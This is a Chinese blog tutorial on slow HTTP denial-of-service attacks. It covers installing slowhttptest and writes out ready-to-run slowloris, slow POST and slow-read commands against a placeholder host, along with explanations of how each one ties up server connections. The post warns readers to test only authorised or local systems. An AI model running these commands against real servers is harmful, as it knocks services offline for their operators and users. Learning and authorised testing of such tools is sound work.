戏说慢速DOS攻击

前言:无论是何种dos攻击,目的只有一个:用自己少量的资源,去干扰去消耗对方,耗死为止!
update:2019-02-03 15:50:24

先上工具

Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS。

安装步骤:

  1. kali 2019.1需要先安装依赖包libssl-dev:sudo apt-get install libssl-dev
  2. 然后从https://github.com/shekyan/slowhttptest下载zip包,或者git clone(这个不太熟练,有空单独测试下)。
  3. 解压后,进入到文件目录,执行./configure,然后make && make install

接下来说一下三种攻击模式:

slowloris:

逼死强迫症有两种方法:一种是把话说一半,

操作方式:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3

完整的http请求是以\r\n\r\n结尾,攻击时仅发送\r\n,少发送一个\r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。

slow http post:

有种你站着别动!我去叫人,人齐了干死你……

操作方式:
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3

原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待

slow read attack:

“您好,请问办什么业务?”
“取钱,一万现金!硬币……”

操作方式:
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3

向服务器发送一个正常合法的read请求,请求一个很大的文件,但认为的把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:

  • tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
  • 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

小试牛刀

如何判断服务器是否存在上述漏洞呢?其实命令执行后不难看出来:

6225605-1ea8412bc5fe078c.png
红框框就是判断依据了

注意事项

  • 未经授权的系统请勿尝试操作此类带有攻击性的工具。
  • 如果已经经过授权,测试时应避开业务高峰期,将可能造成的损失降低到最小。
  • 建议自己搭建Web服务器,在本地练习。(eg. phpstudy)

后续问题

如果服务器确实存在上述问题,又该如何防护呢?

参(CTRL_C)考(CTRL_V):

https://www.cnblogs.com/shenlinken/p/7400336.html
https://blog.csdn.net/xysoul/article/details/45169807

猜你喜欢

转载自blog.csdn.net/weixin_34342207/article/details/87157911
今日推荐